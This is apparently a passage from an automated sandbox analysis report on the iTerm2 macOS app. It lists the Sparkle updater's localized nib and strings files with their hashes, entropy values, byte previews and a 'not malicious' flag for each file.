/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/fi.lproj/SUUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	23211
Entropy (8bit):	6.857867908908279
Encrypted:	false
SSDEEP:	384:bRgbiQbz3E0UeEYNg7W+EFjn6Kv2YJtLyK5LQHNKwhlycUV7KoiuWLV7:1g+QSeEYy0n6Kv2YJcNNh7q/4LV7
MD5:	14650ECECFBBBD7A1B6129B601250075
SHA1:	8B2A91982A71C08DD25C43AF3752636D0818046A
SHA-256:	97E98E7C8CFC63DB7C6EFEDC2C642BA8FE68CC3D74E4DEA43BED5DB1A88D6F4B
SHA-512:	68861EC276026DEFF4CAC1A0DA321200CEEE9206B12160181AA6C539D6D927781258042C154A422AE87C9414688DC1CEF966246C602D2C656D5BD11F38C6CECE
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.............%.)..0.4.8.O.Y.......................................................#.$.%./.9.:.;.C.K.L.P.S.X.Y.^.a.d.e.k...........................................................................7.;.F.J.b.u.v.w.x.y.z.{.\|.}.~...............................................................................................".5.8.9.:.;.B.C.D.J.q.r.s.t.u.v.w...................................................................6.<.B.G.L.R.W.\.b.g.l.q.v.\|....................................................................................... .!."..+.,.2.:.;.<.B.J.K.L.R.Y.Z.[.b.c.d.........^.......w...6.................g..................................................................................................................................................................U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSO

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/fi.lproj/SUUpdatePermissionPrompt.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	20054
Entropy (8bit):	6.791009251616452
Encrypted:	false
SSDEEP:	384:IAgjvOE0DeEYNg74d+0VutleshI8tE27ZxlobM78XjQVemFx:JgceEYyMVutUshI32zlo4wmD
MD5:	04DDFE081D5F4D39911543FE4FC773B4
SHA1:	635CF4F302CDA601C0ED8A1E15CCD85D17FB83BF
SHA-256:	E01AF0879545F6A0F14AEB05F430A76F732A7162EE95A413824597D5DD4E6A82
SHA-512:	A73CBCF15410D97781168A3FF96F4A6D413C2DC1003ECE4228938882B6822F54390DF740CB3690DDED9C800429D7267A866A86D50D9C70140A5FEA4AD4579582
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.......#.....%.)..0.4.8.M.W...............................................................)..+.4.<.=.A.D.I.J.O.R.U.V.\.n.q.r.s.}.~...............................'../.0.3.<.=.B.C.H.K.R.X.[.b.g.h.m.n...s.v.w.z...........................................................,.-.4.5.9.:.I.J.V.W.[.\._.u.x................................................................................................................... .!.(.)..1.2.3.;.<.=.E.F...x.H.P.Q.R.X._.`.a.h.i.j.k.......................1.u.-.&...../.0.1.2.3.4.5.6.7.8.9.:.;.<.=.>.?.@.A.B.C.D.E.F.G.H.I.J.K.L.M.N.O.P.Q.R.S.T.U.V.W.X.Y.\._U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys............!....!.. .."....&...'.([NSCla

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/fi.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text
Category:	dropped
Size (bytes):	6184
Entropy (8bit):	3.4300825463328017
Encrypted:	false
SSDEEP:	192:kRjr3e3TQUTU6YHFFHfBRHjzY4zWnnspUIUd:Cjni6HfQSWnspUR
MD5:	56B2DEF79AB485084880E2F02D1BD282
SHA1:	C9DEA92284A3D7D1CC0C8528B384DDD45721EDBB
SHA-256:	F808A229611D1F795EB28CCB2419F7B5F2BABE2FD5488D7F4E759598875556C7
SHA-512:	BADC534316D89A67B1EB38CFF162BF81572F6359EFE4B224AA1287131E2AE9F8C69F99A01E229D855641184B456255E574CA15C699604CFDB879DF00DFB02D44
Malicious:	false
Reputation:	low
Preview:	..".%.@. .o.f. .%.@.". .=. .".%.1.$.@. ./. .%.2.$.@.".;.....".%.@. .%.@. .h.a.s. .b.e.e.n. .i.n.s.t.a.l.l.e.d. .a.n.d. .w.i.l.l. .b.e. .r.e.a.d.y. .t.o. .u.s.e. .n.e.x.t. .t.i.m.e. .%.@. .s.t.a.r.t.s.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .r.e.l.a.u.n.c.h. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@. .o.n. .a.s.e.n.n.e.t.t.u. .j.a. .o.n. .v.a.l.m.i.i.n.a. .k...y.t.t.....n. .s.e.u.r.a.a.v.a.n. .k.e.r.r.a.n. .k.u.n. .%.3.$.@. .k...y.n.n.i.s.t.e.t.....n.!. .H.a.l.u.a.t.k.o. .k...y.n.n.i.s.t..... .o.h.j.e.l.m.a.n. .u.u.d.e.l.l.e.e.n.?.".;.....".%.@. .%.@. .i.s. .c.u.r.r.e.n.t.l.y. .t.h.e. .n.e.w.e.s.t. .v.e.r.s.i.o.n. .a.v.a.i.l.a.b.l.e...". .=. .".%.1.$.@. .%.2.$.@. .o.n. .u.u.s.i.n. .s.a.a.t.a.v.i.l.l.a. .o.l.e.v.a. .v.e.r.s.i.o...".;.....".%.@. .%.@. .i.s. .c.u.r.r.e.n.t.l.y. .t.h.e. .n.e.w.e.s.t. .v.e.r.s.i.o.n. .a.v.a.i.l.a.b.l.e...\.n.(.Y.o.u. .a.r.e. .c.u.r.r.e.n.t.l.y. .r.u.n.n.i.n.g. .v.e.r.s.i.o.n. .%.@...).". .=. .".%.1.$.@. .%.2.$.@. .o.n. .u.u.s.i.n. .s.a.a.t.a.v.i.l.l.a. .o.l.e.v.a.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/fr.lproj/SUAutomaticUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	13537
Entropy (8bit):	6.696142896710264
Encrypted:	false
SSDEEP:	192:U1WzBQAFGGNzOeYjqE0lCjeEYNMtKwqJ36ly/6T9rWEjsG:UgzJGgeqE0EeEYNg7qJ36lyI9lz
MD5:	258D88649C7FE422C46B375C5B29B9B8
SHA1:	1A79E58F6A98D25E2613D005B345383CAC51534F
SHA-256:	AE3F84DDF173733579819B4AA4667395533A3788D57047C6DA0C1C2D0E73A646
SHA-512:	668E96348964ABC59E04543A686FA633B4774EDF6A9E7484A7086AE1D2100F776B3A77171F3DE5AF994BCC607DE4DBFD32378DF4CF34EFA1F0B3946F95C43195
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata............%.)..0.4.8.F.P.{...................................................................=.>.?.@.J.a.d.p.q.r.s.t.u.v.w.x.y.z...................................................................&.'.3.4.8.9.<.=.?.@.A.B.C.D.G.H.M.N.R.W.X.].^.h.l.p.q.r.s.w.~...............................8...n........................................................."U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys........................&...'.([NSClassName...._..SUAutomaticUpdateAlert..+.,.-..Z$classnameX$classes^NSCustomObject..-./XNSObject..1...2.3ZNS.objects.....+.,.5.6\NSMutableSet..5.7./UNSSet..1...9.E..:.;.<.=.>.?.@.A.B.C.D....."..n.q.s.u.\|..........G.H.I.J.K...M.N.OXNSSource]NSD

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/fr.lproj/SUUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	23160
Entropy (8bit):	6.860533193465371
Encrypted:	false
SSDEEP:	384:bRgbiTR3E0UeEYNg7W+EHtw/v2YJtgaN5tQHNKwlgTyzu11:1g+TIeEYyktw/v2YJn2NlOyzi
MD5:	730E0EAD7F5FCE049BD29781FBF9CED3
SHA1:	D92FBF306EF63DA8FAB1C0E1E086E40D1A3C9507
SHA-256:	9D59F7C0F857DE52EAC323B5C8DED2FA99B3B9AC4D47630F2B76214DA32B686A
SHA-512:	2A0F7A557BB32C8932491C44A26E1174F0D88AE7E87A60CB8BAA1E6847F3530F9444DC2CAEDB541AB8385616B6776C97290F1A1A3E9774BBAE97B090DE4BD814
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.............%.)..0.4.8.O.Y.......................................................#.$.%./.9.:.;.C.K.L.P.S.X.Y.^.a.d.e.k...........................................................................7.;.F.J.b.u.v.w.x.y.z.{.\|.}.~...............................................................................................".5.8.9.:.;.B.C.D.J.q.r.s.t.u.v.w...................................................................6.<.B.G.L.R.W.\.b.g.l.q.v.\|....................................................................................... .!."..+.,.2.:.;.<.B.J.K.L.R.Y.Z.[.b.c.d.........^.......w...6.................g..................................................................................................................................................................U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSO

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/fr.lproj/SUUpdatePermissionPrompt.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	20324
Entropy (8bit):	6.7431423666665
Encrypted:	false
SSDEEP:	384:IPgjv+E0DeEYNg74d+0VutleshI8tEtyWNNjlRYM/u2AROVL3:Wg8eEYyMVutUshI38UlRSROVr
MD5:	6703D20665C03FA452E6C6EB3DCF99DE
SHA1:	17F25B10EF8A17C4737B60CB7722BA8D4A5AEC7B
SHA-256:	CFDF02ACB0EE210D7FDB5103350163529F92B0481864373C29DBC3562BBD657D
SHA-512:	82B17CE431A290B4817F45B276C963FEF4A417258B0C716D788B61FBA90063E18C256F810BE172C147452A0D1B558E063A6DD41994CED2B29FDE240B816B007A
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.......#.....%.)..0.4.8.M.W...............................................................)..+.4.<.=.A.D.I.J.O.R.U.V.\.n.q.r.s.}.~...............................'../.0.3.<.=.B.C.H.K.R.X.[.b.g.h.m.n...s.v.w.z...........................................................,.-.9.:.>.?.B.X.[.g.h.i.j.k.l.m.n.o.p.q.z....................................................................................................... .!.(.)..1.2.3.;.<.=.E.F...x.H.P.Q.R.X._.`.a.h.i.j.k.......................1.u.-.&...../.0.1.2.3.4.5.6.7.8.9.:.;.<.=.>.?.@.A.B.C.D.E.F.G.H.I.J.K.L.M.N.O.P.Q.R.S.T.U.V.W.X.Y.\._U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys............!....!.. .."....&...'.([NSCla

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/fr.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text, with very long lines
Category:	dropped
Size (bytes):	10138
Entropy (8bit):	3.4087402083784295
Encrypted:	false
SSDEEP:	192:M+SVL3GlG3KlFQUNSURPrWYVfminF5AHa42Pa:4JuF5AMS
MD5:	7E8B9E711E9EB48F1752A9401E0E28B3
SHA1:	CBDD8701E187D94FA78A941EDC972552B08AE713
SHA-256:	893270ADCB7AFD9770971766E53FC60BD840E33B49D33E6F31FADDE64A0F2243
SHA-512:	5085F9C2C37C7720F47A02F2D7B2381B562AC1FB4FBF9166AE89D6CEE936DEFC49F306593688F533C62470D80414CDA42276FF9EF510674476A4B81138DD03F0
Malicious:	false
Reputation:	low
Preview:	..".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .T.h.i.s. .i.s. .a.n. .i.m.p.o.r.t.a.n.t. .u.p.d.a.t.e.;. .w.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. . .".%.1.$.@. .%.2.$.@. .a. ...t... .t...l...c.h.a.r.g..... .C.'.e.s.t. .u.n.e. .m.i.s.e. ... .j.o.u.r. .i.m.p.o.r.t.a.n.t.e.;. .v.o.u.l.e.z.-.v.o.u.s. .l.. i.n.s.t.a.l.l.e.r. .e.t. .r.e.l.a.n.c.e.r. .%.1.$.@. .m.a.i.n.t.e.n.a.n.t...?.".;.....".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@. .a. ...t... .t...l...c.h.a.r.g..... .V.o.u.l.e.z.-.v.o.u.s. .l.. i.n.s.t.a.l.l.e.r. .e.t. .r.e.l.a.n.c.e.r. .%.1.$.@. .m.a.i.n.t.e.n.a.n.t...?.".;.....".%.1.$.@. .c.a.n.'.t. .b.e. .u.p.d.a.t.e.d.,. .b.e.c.a.u.s.e. .i.t. .w.a.s. .o.p.e.n.e.d. .f.r.o.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/he.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text
Category:	dropped
Size (bytes):	5288
Entropy (8bit):	4.05952354341025
Encrypted:	false
SSDEEP:	96:qa+Ns3d73paQUiY6RUxosxhToFswhsnEKh1l9Mh0wMV8IHMm8mRt6:qy3d73paQUZSU6YhToFswArh1lbZlRA
MD5:	CAE9372E06D907CE165C730A99B15861
SHA1:	5365A695819899E7889525BAE91F1AC3098D5C81
SHA-256:	E205255A4C1300D57F8DDEE7E0E6685F24FC08072059593FB48DDADB9C26B8B8
SHA-512:	1165B3BECFFB13E6790B29F1B7C9367EB3A8505D0344E5D4A338F57880743C202A5CEA674D620A9785666637D95A7343890055111D853DF6CF2D467DD46B59DC
Malicious:	false
Reputation:	low
Preview:	..".%.@. .o.f. .%.@.". .=. .".%.1.$.@. .o.f. .%.2.$.@.".;.....".%.@. .%.@. .h.a.s. .b.e.e.n. .i.n.s.t.a.l.l.e.d. .a.n.d. .w.i.l.l. .b.e. .r.e.a.d.y. .t.o. .u.s.e. .n.e.x.t. .t.i.m.e. .%.@. .s.t.a.r.t.s.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .r.e.l.a.u.n.c.h. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@. ............. ........... ........... ............. ......... ......... ........... ..... .%.3.$.@. .!. ............. ...........?.".;.....".%.@. .%.@. .i.s. .c.u.r.r.e.n.t.l.y. .t.h.e. .n.e.w.e.s.t. .v.e.r.s.i.o.n. .a.v.a.i.l.a.b.l.e...". .=. .".%.1.$.@. .%.2.$.@. ....... ........... ............. ...............".;.....".%.@. .%.@. .i.s. .c.u.r.r.e.n.t.l.y. .t.h.e. .n.e.w.e.s.t. .v.e.r.s.i.o.n. .a.v.a.i.l.a.b.l.e...\.n.(.Y.o.u. .a.r.e. .c.u.r.r.e.n.t.l.y. .r.u.n.n.i.n.g. .v.e.r.s.i.o.n. .%.@...).". .=. .".%.1.$.@. .%.2.$.@. ....... ........... ............. ...............\.n.(.Y.o.u. .a.r.e. .c.u.r.r.e.n.t.l.y. .r.u.n.n.i.n.g. .v.e.r.s.i.o.n. .%.3.$.@...).".;...../.*. .D.e.s.c.r.i.p.t.i.o.n.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/hr.lproj/SUAutomaticUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	13579
Entropy (8bit):	6.70535351935471
Encrypted:	false
SSDEEP:	192:RKN1WzBQAFSG2iKOeYj8E0lgjeEYNMtKwo1+iw2lGr0m1rZrFRn:RKNgzJS9Pe8E02eEYNg7o1+RgmhZrF5
MD5:	9B71EFDD8AFA5D598C70303E9950B48D
SHA1:	8B8057EEC32B015244A03795A346116DDDAA997A
SHA-256:	FC4A501272E7F036E3F02A830CBF0B336DEED39F2E0A6182EBF7633434156E0D
SHA-512:	678667AF0B59D798FE80DC3E31F4F01B14231B55AAEBCC91DAF881D57D62CCDDECA80B3A3119E59962643D440F6F9723C88909C9B565B6CBFF1ACC5E2CB5C561
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata............%.)..0.4.8.F.P.{...................................................................=.>.?.@.J.a.d.p.q.r.s.t.u.v.w.x.y.z...................................................................)..6.7.;.<.?.@.B.C.D.E.F.G.J.K.P.Q.U.Z.[.`.a.k.o.s.t.u.v.z.................................8...n.......................................................".%U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys........................&...'.([NSClassName...._..SUAutomaticUpdateAlert..+.,.-..Z$classnameX$classes^NSCustomObject..-./XNSObject..1...2.3ZNS.objects.....+.,.5.6\NSMutableSet..5.7./UNSSet..1...9.E..:.;.<.=.>.?.@.A.B.C.D.....".*.n.q.s.u.\|..........G.H.I.J.K...M.N.OXNSSource]NSD

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/hr.lproj/SUUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	23213
Entropy (8bit):	6.869515446399225
Encrypted:	false
SSDEEP:	384:bBKgbi/BPBE0SeEYNg7+800TnoLvBJtrrDYRSOXlUOw144XwEVqcDlXpcLBEccD:tKg+/EeEYyjroLvBJZNn4wVRR/ccD
MD5:	CA1966FC9060EBAB42086348A67FA8A7
SHA1:	7F1D0F28EB97F016A8F3651B3EE23F28C83125E8
SHA-256:	83960AA1F2707883FA1E0F68E59F452F1886C40C6FE5641D5CCDBA9DCBF74598
SHA-512:	E4FB2763BFA3712B6F5194A1CCC68DABE7A186F4EA625CBC0465E62CF324463AC38EA51E718CBFB566FB189AC3437EEF551D2E37F6D674AC2EBF8E54905C3235
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.............%.).*.0.4.8.O.Y.......................................................#.$.%.1.;.<.=.E.M.N.R.U.Z.[.`.c.f.g.m....................................................................... .!.:.>.I.M.e.x.y.z.{.\|.}.~.....................................................................................................%.8.;.<.=.>.E.F.G.M.t.u.v.w.x.y.z...................................................................:.@.F.K.P.V.[.`.f.k.p.u.z.........................................................................................$.%.&.../.0.6.>.?.@.F.N.O.P.V.].^._.f.g.h.........b.......w...8.................j..................................................................................................................................................................U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSO

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/hr.lproj/SUUpdatePermissionPrompt.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	20055
Entropy (8bit):	6.795133490698947
Encrypted:	false
SSDEEP:	384:mgjvrE0TeEYNg7kbKltlessdetcVnoil46QMiqXq9nhkxEmr:mgteEYyjtUssdet+TldBXQ+r
MD5:	1BA1BE3BB180DA77AD1BA3CCD25C3919
SHA1:	D9C9C5547EFA793F5FCA4594FB765049D0E8E7E1
SHA-256:	4469DFA39CD503029F919891A4D5326F5259E0F2CAFCBAF5176862B42049FEA2
SHA-512:	1A3136973920503D904998B4EA09CE6C90BA21007EACA948D134C3B193F54091768B43A802C8CC2A339575E8252FF81EFE42A20CEE61E68AACF0EFED2A3C1A8E
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.......#.....%.).*.0.4.8.M.W.............................................................!.+.,.-.6.>.?.C.F.K.L.Q.T.W.X.^.p.s.t.u.................................!.).,.1.2.5.>.?.D.E.J.M.T.Z.].d.i.j.o.p...u.x.y.\|.........................................................../.0.8.9.=.>.M.N.Z.[._.`.c.y.\|...............................................................................................................".#.$.%.,.-...5.6.7.?.@.A.I.J...x.L.T.U.V.\.c.d.e.l.m.n.o.......................3.u.1.(...2.3.4.5.6.7.8.9.:.;.<.=.>.?.@.A.B.C.D.E.F.G.H.I.J.K.L.M.N.O.P.Q.R.S.T.U.V.W.X.Y.Z.[.\.].`.cU$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys............!....!.. .."....&...'.([NSCla

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/hr.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text, with very long lines
Category:	dropped
Size (bytes):	9738
Entropy (8bit):	3.4676297836376273
Encrypted:	false
SSDEEP:	192:MA1M63u3jQUCUigYmnb/12a26nMXIxSIZmIc42D8Ji0kc8yTvQ:ZMgboQQM0HAAJnkoQ
MD5:	9E4DE05A5D5A80C037A39941F70B2ACB
SHA1:	720DED46FFD4B21B966387A5F9B6DEA01654CDDE
SHA-256:	76497E567EBC15B75F41031C9C31EBF285D34B35B4B8AB5830A6747537FD682E
SHA-512:	02019B5D4DD48F2B44FCBA7A142D80ECBD4EBC6179C345F1B99B1CC7AD1CE3B031D2F9BC57A5392BE8A3BFBA89A15C29DBA91D2CB335A38725143EB921C34586
Malicious:	false
Reputation:	low
Preview:	..".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .T.h.i.s. .i.s. .a.n. .i.m.p.o.r.t.a.n.t. .u.p.d.a.t.e.;. .w.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@. .j.e. .p.r.e.u.z.e.t.o. .i. .s.p.r.e.m.n.o. .z.a. .u.p.o.t.r.e.b.u.!. .O.v.o. .j.e. .v.a.~.n.a. .n.a.d.o.g.r.a.d.n.j.a... .}.e.l.i.a. .l.i. .j.e. .s.a.d.a. .i.n.s.t.a.l.i.r.a.t.i.,. .t.e. .p.o.n.o.v.o. .p.o.k.r.e.n.u.t.i. .%.1.$.@.?.".;.....".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@. .j.e. .p.r.e.u.z.e.t.o. .i. .s.p.r.e.m.n.o. .z.a. .u.p.o.t.r.e.b.u.!. .}.e.l.i.a. .l.i. .j.e. .s.a.d.a. .i.n.s.t.a.l.i.r.a.t.i.,. .t.e. .p.o.n.o.v.o. .p.o.k.r.e.n.u.t.i. .%.1.$.@.?.".;.....".%.1.$.@. .c.a.n.'.t. .b.e. .u.p.d.a.t.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/hu.lproj/SUAutomaticUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	13626
Entropy (8bit):	6.691563410965766
Encrypted:	false
SSDEEP:	192:U1WzBQAFz4G2TOeYjVE0lCjeEYNMtKwqJ36W2QHj6T9rWxsRYnv:UgzJcxeVE0EeEYNg7qJ36W2Cc98sRe
MD5:	FE34117A1582BF0D79F5F77CD22101D1
SHA1:	27BA1B632F1570D786E74C1BA02A46A4EC8E099B
SHA-256:	9815AB71E417006C988FC640BE568A7D52115C4DE249456EA6A6EC41CCEE0F75
SHA-512:	A9337EEB9FBD59B309128008890305772F3926C037B7F5CA551959ABF8AE7F74E8D7951BCEED5B154A0C7FCE04FE2CB222BCE692E55F0C511A39CA72BEB19F72
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata............%.)..0.4.8.F.P.{...................................................................=.>.?.@.J.a.d.p.q.r.s.t.u.v.w.x.y.z...................................................................&.'.3.4.8.9.<.=.?.@.A.B.C.D.G.H.M.N.R.W.X.].^.h.l.p.q.r.s.w.~...............................8...n........................................................."U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys........................&...'.([NSClassName...._..SUAutomaticUpdateAlert..+.,.-..Z$classnameX$classes^NSCustomObject..-./XNSObject..1...2.3ZNS.objects.....+.,.5.6\NSMutableSet..5.7./UNSSet..1...9.E..:.;.<.=.>.?.@.A.B.C.D....."..n.q.s.u.\|..........G.H.I.J.K...M.N.OXNSSource]NSD

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/hu.lproj/SUUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	23266
Entropy (8bit):	6.853690654703268
Encrypted:	false
SSDEEP:	384:bybgbi1ftj3E0UeEYNg7W+E+KegVlZJtBqGQs0citz2sGIP0HAs7jWHc:Gg+ltWeEYyXKegVlZJCGRI7GIP0gs7uc
MD5:	59C5678079DCF4C9D1AB13529B538745
SHA1:	BD6AF6DEB00B121A6C71B2ACBBE2687D594FD94B
SHA-256:	8E2BAB41D33DB5ABE1CC58FC06472CEFAC22F9BFA89CBFDB18C213CF13763B5A
SHA-512:	D9AAC78C8A279D81C6A8A7A18936A500715799ECA3069E09B8BDC09C99A20B98C1132A5AD40508A880F619284C12DD1A950477082A6AB4F80EF3B9C5FB16AE28
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.............%.)..0.4.8.O.Y.......................................................#.$.%./.9.:.;.C.K.L.P.S.X.Y.^.a.d.e.k.......................................................................,.0.;.?.W.j.k.l.m.n.o.p.q.r.s.t.u.v.w.x.y.z...{.\|...............................................................................!.4.7.8.9.:.A.B.C.I.p.q.r.s.t.u.v...................................................................5.;.A.F.K.Q.V.[.a.f.k.p.u.{......................................................................................... .!.)..+.1.9.:.;.A.I.J.K.Q.X.Y.Z.a.b.c.........].......w...6.................f..................................................................................................................................................................U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSO

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/hu.lproj/SUUpdatePermissionPrompt.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	20054
Entropy (8bit):	6.786897625333784
Encrypted:	false
SSDEEP:	384:IAgjv/E0DeEYNg74d+0VutleshI8tE2qxlobM78XFmHvmFx:JgpeEYyMVutUshI32iloQHvmD
MD5:	C5FFA3E26A557F109E60874E0BA8A806
SHA1:	E2204C5078D53C65CF3884D8FB60ECAB67B8848B
SHA-256:	44993BF15152E28FED71A0A0756F65AF490D143A167F3CD5F869623231183BD4
SHA-512:	9DEEC289E02E5EE1DE085404DF83DF64F924C6446EFF1A078E053C766AC6A771D323DD32F15C75D72F7B6B32BBBD76F5EB6D521A2DF1A6C5FCF03A295C8ED8A2
Malicious:	false
Reputation:	low
